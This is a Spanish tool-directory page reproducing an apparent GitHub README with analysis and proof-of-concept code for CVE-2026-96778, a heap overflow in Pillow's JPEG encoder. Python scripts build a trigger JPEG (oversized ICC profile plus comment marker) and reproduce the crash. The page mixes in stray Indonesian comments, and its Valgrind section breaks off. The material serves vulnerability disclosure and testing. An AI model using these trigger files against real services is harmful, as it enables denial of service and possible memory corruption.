Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-96778-pillow — Prueba de concepto y análisis técnico de CVE-2026-96778, un desbordamiento de búfer en el heap en el codificador JPEG de Pillow provocado por un perfil ICC junto con un marcador COM al volver a guardar. | Kitploit
Herramientas/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónFuzzingPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHub
Compartir
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Prueba de concepto y análisis técnico de CVE-2026-96778, un desbordamiento de búfer en el heap en el codificador JPEG de Pillow provocado por un perfil ICC junto con un marcador COM al volver a guardar.

Ver Repositorio
hace 24 díasAún no revisado

CVE-2026-96778 — Desbordamiento de búfer en el montón en el codificador JPEG de Pillow

Estado Pillow Corregido Plataforma

Este repositorio contiene Proof of Concept (PoC), pruebas de reproducción y análisis técnico para CVE-2026-96778, un heap buffer overflow en la biblioteca Pillow (Python Imaging Library).

Resumen breve: Volver a guardar una imagen JPEG que contiene un perfil ICC de tamaño exacto y un comentario (marcador COM) provoca una escritura más allá del búfer del codificador de 65.536 bytes, corrompe los metadatos del heap y puede provocar denial of service (caída) hasta ejecución de código.


1. Detalles de la vulnerabilidad

CampoValor
ID de CVECVE-2026-96778
Componentesrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Punto vulnerableLínea 282 (jpeg_write_marker para el marcador COM)
TipoHeap Buffer Overflow (CWE-122)
Rango afectadoPillow 9.4.0 – <13.0.0
Corregido enPillow 13.0.0
ImpactoDoS (SIGSEGV/SIGABRT), posible RCE
VectorLocal / interacción del usuario (abrir y volver a guardar la imagen)
AvisoGHSA-g7cr-3p24-7wf7

2. Análisis de la causa raíz

2.1 Flujo del código

  1. JpegImagePlugin._save() calcula el tamaño del búfer de salida solo a partir de exif y extra (perfil ICC), sin dejar espacio para el comentario.
  2. _encode_to_file() (src/encode.c:186) asigna un búfer MAXBLOCK = 65.536 bytes.
  3. El perfil ICC de 65.498 bytes llena el búfer exactamente hasta el último byte, por lo que free_in_buffer == 0.
  4. Cuando se llama a jpeg_write_marker() para escribir el marcador COM (JpegEncode.c:282), libjpeg escribe primero 1 byte y solo después decrementa el contador size_t free_in_buffer.
  5. Como el contador vale 0, el decremento provoca un underflow hasta ~2⁶⁴. La comprobación de límites posterior deja de ser válida.
  6. El resto del comentario y los datos de imagen comprimidos se escriben más allá del límite del búfer, sobrescribiendo la memoria del heap circundante.

2.2 Cálculo del tamaño desencadenante

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

Con ICC_PAYLOAD = 65498, el búfer se llena exactamente hasta el último byte. Añadir un marcador COM (de cualquier longitud, 1–65533 bytes) provoca un desbordamiento.

2.3 Por qué los comentarios grandes son más efectivos

Un comentario máximo legal (65.533 bytes) hace que el desbordamiento escriba una gran cantidad de datos, por lo que el fallo es más determinista. Un comentario pequeño (p. ej., 32 bytes) sigue provocando Invalid write en Valgrind, pero no necesariamente un fallo en tiempo de ejecución normal (depende del diseño del montón y del asignador).


3. Entorno de prueba

ComponenteValor
SOUbuntu Linux x86_64
KernelLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compiladorgcc 13.3.0
Pillow probado9.4.0, 9.5.0, 13.0.0
Fuente de Pillowcompilación desde el código fuente (pip install -e .)

4. Prueba de concepto

4.1 make_trigger.py — Generador de JPEG desencadenante

Crear trigger.jpg con un perfil ICC de 65.498 bytes y un marcador COM.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Reproducción compatible con Valgrind

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Ejecutar con Valgrind:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — PoC de Referencia (Detección de Fallos)

Basado en el aviso oficial GHSA-g7cr-3p24-7wf7. Ejecuta im.save() en un proceso hijo y verifica el estado de salida (negativo = terminado por señal).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Evidencia de reproducción

5.1 Resumen de resultados

Versión de PillowOrigen de importaciónValgrindPoC advisoryEstado
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERABLE
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERABLE
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKSEGURO

5.2 Pillow 9.4.0 — Valgrind

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    333
  • 5

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    280

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →